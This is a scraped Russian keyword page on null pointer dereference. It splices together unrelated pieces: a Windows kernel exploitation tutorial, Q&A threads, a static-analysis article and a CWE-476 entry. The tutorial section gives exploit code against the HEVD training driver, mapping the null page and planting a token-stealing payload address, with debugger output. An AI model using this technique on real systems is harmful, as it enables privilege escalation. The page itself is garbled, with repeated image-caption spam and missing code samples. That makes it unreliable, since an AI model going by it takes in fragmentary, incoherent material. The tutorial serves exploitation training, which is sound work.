null pointer dereference что это

Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 6 – Разыменование пустого указателя

Кучи представляют собой динамически выделяемые области памяти в отличие от стека, размер которого фиксирован.

null pointer dereference что это. Смотреть фото null pointer dereference что это. Смотреть картинку null pointer dereference что это. Картинка про null pointer dereference что это. Фото null pointer dereference что это

Автор: Mohamed Shahat

Код эксплоита находится здесь.

Кучи (пулы) в режиме ядра

Кучи представляют собой динамически выделяемые области памяти в отличие от стека, размер которого фиксирован.

Кучи, размещаемые для компонентов в режиме ядра, называются пулами и делятся на два основных типа:

Выделение такой памяти выполняется через процедуру ExAllocatePoolWithTag с указанием типа пула (параметр poolType) и 4-байтового «тега».

Для мониторинга выделений пулов можно пользоваться утилитой poolmon.

Если вы хотите поглубже вникнуть в тему, связанную с пулами, рекомендую ознакомиться со статьей «Pushing the Limits of Windows: Paged and Nonpaged Pool» (и всеми остальными частями из данной серии тоже).

Суть уязвимости

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) <
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

__try <
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)__alignof(NULL_POINTER_DEREFERENCE));

// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);

if (!NullPointerDereference) <
// Unable to allocate Pool chunk
DbgPrint(«[-] Unable to allocate Pool chunk\n»);

Status = STATUS_NO_MEMORY;
return Status;
>
else <
DbgPrint(«[+] Pool Tag: %s\n», STRINGIFY(POOL_TAG));
DbgPrint(«[+] Pool Type: %s\n», STRINGIFY(NonPagedPool));
DbgPrint(«[+] Pool Size: 0x%X\n», sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint(«[+] Pool Chunk: 0x%p\n», NullPointerDereference);
>

// Get the value from user mode
UserValue = *(PULONG)UserBuffer;

DbgPrint(«[+] UserValue: 0x%p\n», UserValue);
DbgPrint(«[+] NullPointerDereference: 0x%p\n», NullPointerDereference);

// Validate the magic value
if (UserValue == MagicValue) <
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

DbgPrint(«[+] NullPointerDereference->Value: 0x%p\n», NullPointerDereference->Value);
DbgPrint(«[+] NullPointerDereference->Callback: 0x%p\n», NullPointerDereference->Callback);
>
else <
DbgPrint(«[+] Freeing NullPointerDereference Object\n»);
DbgPrint(«[+] Pool Tag: %s\n», STRINGIFY(POOL_TAG));
DbgPrint(«[+] Pool Chunk: 0x%p\n», NullPointerDereference);

// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
>

#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// ‘NullPointerDereference’ is not NULL before calling the callback function
if (NullPointerDereference) <
NullPointerDereference->Callback();
>
#else
DbgPrint(«[+] Triggering Null Pointer Dereference\n»);

// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if ‘NullPointerDereference’ is NULL
// before calling the callback function
NullPointerDereference->Callback();
#endif
>
__except (EXCEPTION_EXECUTE_HANDLER) <
Status = GetExceptionCode();
DbgPrint(«[-] Exception Code: 0x%X\n», Status);
>

Невытесняемая память пула выделяется равной размеру структуры NULL_POINTER_DEREFERENCE вместе с 4-байтовым тегом kcaH. Структура содержит два поля:

typedef struct _NULL_POINTER_DEREFERENCE <
ULONG Value;
FunctionPointer Callback;
> NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

В системах x86 структура занимает 8 байт и содержит указатель функции. Если пользовательский буфер содержит MagicValue, указатель функции NullPointerDereference->Callback будет указывать на функцию NullPointerDereferenceObjectCallback. Но что произойдет, если мы не будет передавать это значение?

В этом случае память пула освобождается и структуре NullPointerDereference присваивается значение NULL, чтобы избежать повисшего указателя. Однако этот трюк допустим только, если присутствует проверка, которую нужно делать каждый раз, когда вы используете данный указатель. Если просто установить значение NULL и не выполнять никаких проверок, то, как будет показано дальше, последствия могут быть печальны. В нашем случае функция Callback вызывается без проверки на предмет нахождения внутри корректной структуры. В итоге все заканчивается чтением с пустой страницы (первых 64 Кбайт), которая находится в пространстве пользователя.

То есть NullPointerDereference представляет собой структуру по адресу 0x00000000, и NullPointerDereference->Callback() вызывает то, что находится по адресу 0x00000004.

Схема эксплуатации данной фитчи выглядит следующим образом:

Краткая история защит от уязвимостей, связанных с разыменованием пустой страницы

Прежде чем продолжить, рассмотрим, что уже предпринималось разработчиками Windows для предотвращения атак с использованием уязвимостей, связанных с разыменованием пустого указателя.

То есть в Windows 10 эту уязвимость эксплуатировать не получится. Если хотите попробовать, нужно включить NTVDM, после чего потребуется обход SMEP (см. четвертую часть).

Статьи, рекомендованные для изучения:

Выделение пустой страницы

Перед началом взаимодействия с драйвером нам нужно выделить пустую страницу и разместить адрес полезной нагрузки по адресу 0x4. Выделить пустую страницу через VirtualAllocEx не получится. Альтернативный вариант: нахождение адреса функции NtAllocateVirtualMemory в ntdll.dll и передача небольшого ненулевого базового адреса, который будет округлен до значения NULL.

Чтобы найти адрес вышеуказанной функции, вначале мы будем использовать GetModuleHandle для получения адреса ntdll.dll, а затем GetProcAddress для получения адреса процесса.

typedef NTSTATUS(WINAPI *ptrNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);

ptrNtAllocateVirtualMemory NtAllocateVirtualMemory = (ptrNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(«ntdll.dll»), «NtAllocateVirtualMemory»);
if (NtAllocateVirtualMemory == NULL)
<
printf(«[-] Failed to export NtAllocateVirtualMemory.»);
exit(-1);
>

Затем нужно выделить пустую страницу:

Чтобы проверить работоспособность метода, размещаем функцию DebugBreak и проверяем содержимое памяти после записи какого-либо значения.
DebugBreak();
*(INT_PTR*)uBuffer = 0xaabbccdd;
kd> t
KERNELBASE!DebugBreak+0x3:
001b:7531492f ret

kd> t
HEVD!main+0x1a4:
001b:002e11e4 mov dword ptr [esi],0AABBCCDDh

kd> t
HEVD!main+0x1aa:
001b:002e11ea movsx ecx,byte ptr [esi]

kd> dd 0
00000000 aabbccdd 00000000 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000

Прекрасный способ проверить, выделена ли пустая страница – вызывать VirtualProtect, которая запрашивает/устанавливает защитные флаги на страницы памяти. Если функция VirtualProtect возвращает false, значит, пустая страница не выделена.

Контроль потока выполнения

Теперь нам нужно разместить адрес полезной нагрузки по адресу 0x00000004:

*(INT_PTR*)(uBuffer + 4) = (INT_PTR)&StealToken;

Создаем буфер для отсылки драйверу и устанавливаем точку останова по адресу HEVD!TriggerNullPointerDereference + 0x114.
kd> dd 0
00000000 00000000 0107129c 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000

После запуска полезной нагрузки и кражи токена инструкция ret выполняется, и корректировка стека не требуется.

null pointer dereference что это. Смотреть фото null pointer dereference что это. Смотреть картинку null pointer dereference что это. Картинка про null pointer dereference что это. Фото null pointer dereference что это
Рисунок 1: Демонстрация работы эксплоита

Портирование эксплоита для Windows 7 x64

Чтобы эксплоит заработал в системе Windows 7 x64 нужно поменять смещение, по которому будет записываться адрес полезной нагрузки, поскольку размер структуры становится 16 байт. Кроме того, не забудьте выгрузить полезную нагрузку.

*(INT_PTR*)(uBuffer + 8) = (INT_PTR)&StealToken;

Источник

Что означает возможное разыменование нулевого указателя в findbug?

Я использую сонар, и у меня есть такое нарушение от него для мира моего кода:

кто-нибудь знает об этом правиле в findbugs? Я много искал, но не могу найти хороший пример кода (на Java), который описывает это правило, к сожалению, сайт findbugs не имел никакого примера кода или хорошего описания этого правила.

Почему появляется это нарушение?

5 ответов

существует ветвь оператора, которая при выполнении гарантирует, что значение null будет разыменовано, что создаст исключение NullPointerException при выполнении кода. Конечно, проблема может заключаться в том, что ветвь или оператор неосуществимы и что исключение нулевого указателя никогда не может быть выполнено; решение, которое выходит за рамки возможностей FindBugs.

Если бы ты отправил какой-то код, на который было бы легче ответить.

редактировать я не вижу много документации, но вот один пример! Надеюсь, это поможет!

пример кода что-то вроде этого.

Это два простых примера : Первый дает : возможно разыменование null-указателя

на простом языке, если значение переменной назначено как null, и вы пытаетесь получить к нему доступ с помощью любого встроенного метода, такого как add/get. Затем проблема разыменования нулевого указателя поставляется с SONAR. Потому что есть изменения для него go null и throw null исключение указателя. Постарайтесь избежать этого, если это возможно.

Ex File file=null; файл.метод getname(); бросит «возможно разыменование указателя»

Это может произойти не сразу, как указано в примере, это может быть непреднамеренно.

Источник

What exactly is meant by «de-referencing a NULL pointer»?

Can someone please explain to me in layman’s terms exactly what this is and why it is bad?

null pointer dereference что это. Смотреть фото null pointer dereference что это. Смотреть картинку null pointer dereference что это. Картинка про null pointer dereference что это. Фото null pointer dereference что это

6 Answers 6

A NULL pointer points to memory that doesn’t exist. This may be address 0x00000000 or any other implementation-defined value (as long as it can never be a real address). Dereferencing it means trying to access whatever is pointed to by the pointer. The * operator is the dereferencing operator:

This is exactly the same thing as a NullReferenceException in C#, except that pointers in C can point to any data object, even elements inside an array.

Dereferencing just means reading the memory value at a given address. So when you have a pointer to something, to dereference the pointer means to read or write the data that the pointer points to.

In C, the unary * operator is the dereferencing operator. If x is a pointer, then *x is what x points to. The unary & operator is the address-of operator. If x is anything, then &x is the address at which x is stored in memory. The * and & operators are inverses of each other: if x is any data, and y is any pointer, then these equations are always true:

A null pointer is a pointer that does not point to any valid data (but it is not the only such pointer). The C standard says that it is undefined behavior to dereference a null pointer. This means that absolutely anything could happen: the program could crash, it could continue working silently, or it could erase your hard drive (although that’s rather unlikely).

In most implementations, you will get a «segmentation fault» or «access violation» if you try to do so, which will almost always result in your program being terminated by the operating system. Here’s one way a null pointer could be dereferenced:

Источник

Обнаружение в коде дефекта «разыменование нулевого указателя»

Этой статьей мы открываем серию публикаций, посвященных обнаружению ошибок и уязвимостей в open-source проектах с помощью статического анализатора кода AppChecker. В рамках этой серии будут рассмотрены наиболее часто встречающиеся дефекты в программном коде, которые могут привести к серьезным уязвимостям. Сегодня мы остановимся на дефекте типа «разыменование нулевого указателя».

null pointer dereference что это. Смотреть фото null pointer dereference что это. Смотреть картинку null pointer dereference что это. Картинка про null pointer dereference что это. Фото null pointer dereference что это

Разыменование нулевого указателя (CWE-476) представляет собой дефект, когда программа обращается по некорректному указателю к какому-то участку памяти. Такое обращение ведет к неопределенному поведению программы, что приводит в большинстве случаев к аварийному завершению программы.

Ниже приведен пример обращения по нулевому указателю. В данном случае, скорее всего, программа отработает без выдачи сообщений об ошибках.

А теперь рассмотрим пример, в котором программа аварийно завершит свою работу. Пример очень похож на предыдущий, но с небольшим отличием.

Почему же в одном случае программа отработает нормально, а в другом нет? Дело в том, что во втором случае вызываемый метод обращается к одному из полей нулевого объекта, что приведет к считыванию информации из непредсказуемой области адресного пространства. В первом же случае в методе нет обращения к полям объекта, поэтому программа скорее всего завершится корректно.

Рассмотрим следующий фрагмент кода на C++:

Нетрудно заметить, что если pColl == NULL, выполнится тело этого условного оператора. Однако в теле оператора происходит разыменование указателя pColl, что вероятно приведет к краху программы.

Обычно такие дефекты возникают из-за невнимательности разработчика. Чаще всего блоки такого типа применяются в коде для обработки ошибок. Для выявления таких дефектов можно применить различные методы статического анализа, например, сигнатурный анализа или symbolic execution. В первом случае пишется сигнатура, которая ищет в абстрактном синтаксическом дереве (AST) узел типа «условный оператор», в условии которого есть выражение вида! а, a==0 и пр., а в теле оператора есть обращение к этому объекту или разыменование этого указателя. После этого необходимо отфильтровать ложные срабатывания, например, перед разыменованием этой переменной может присвоиться значение:

Выражение в условии может быть нетривиальным.

Во втором случае во время работы анализатор «следит», какие значения могут иметь переменные. После обработки условия if (!a) анализатор понимает, что в теле условного оператора переменная a равна нулю. Соответственно, ее разыменование можно считать ошибкой.

Приведенный фрагмент кода взят из популярного свободного пакета офисных приложений Apache OpenOffice версии 4.1.2. Дефект в коде был обнаружен при помощи статического анализатора программного кода AppChecker. Разработчики были уведомлены об этом дефекте, и выпустили патч, в котором этот дефект был исправлен ).

Рассмотрим аналогичный дефект, обнаруженный в Oracle MySQL Server 5.7.10:

В этом примере если ident равен 0, то условие будет истинным и выполнится строка:

что приведет к разыменованию нулевого указателя. По всей видимости разработчик в процессе написания этого фрагмента кода, в котором ловятся ошибки, просто не учел, что такая ситуация может возникнуть. Правильным решением было бы сделать отдельный обработчик ошибок в случае, когда ident=0.

Нетрудно догадаться, что разыменование нулевого указателя – это дефект, не зависящий от языка программирования. Предыдущие два примера демонстрировали код на языке C++, однако с помощью статического анализатора AppChecker можно находить подобные проблемы в проектах на языках Java и PHP. Приведем соответствующие примеры.

Рассмотрим фрагмент кода системы управления и централизации информации о строительстве BIM Server версии bimserver 1.4.0-FINAL-2015-11-04, написанной на языке Java:

В данном примере сначала идет обращение к переменной requestUri и только после этого происходит проверка на нулевой указатель. Для того чтобы избежать этого дефекта, достаточно было просто поменять очередность выполнения этих действий.

Теперь рассмотрим фрагмент кода популярной коллекции веб-приложений phabricator, написанной на php:

Подобные дефекты могут оставаться незамеченными очень долго, но в какой-то момент условие выполнится, что приведет к краху программы. Несмотря на простоту и кажущуюся банальность такого рода дефектов, они встречаются достаточно часто, как в open-source, так и в коммерческих проектах.

Источник

Common Weakness Enumeration

A Community-Developed List of Software & Hardware Weakness Types

CWE-476: NULL Pointer Dereference

null pointer dereference что это. Смотреть фото null pointer dereference что это. Смотреть картинку null pointer dereference что это. Картинка про null pointer dereference что это. Фото null pointer dereference что этоThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Implementation

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

null pointer dereference что это. Смотреть фото null pointer dereference что это. Смотреть картинку null pointer dereference что это. Картинка про null pointer dereference что это. Фото null pointer dereference что этоThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

Technical Impact: Execute Unauthorized Code or Commands; Read Memory; Modify Memory

While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

/* make use of pointer1 */

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

In the following code, the programmer assumes that the system always has a property named «cmd» defined. If an attacker can control the program’s environment so that «cmd» is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.

This Android application has registered to handle a URL when sent an intent:

.
IntentFilter filter = new IntentFilter(«com.example.URLHandler.openURL»);
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
.

public class UrlHandlerReceiver extends BroadcastReceiver <

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Источник

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *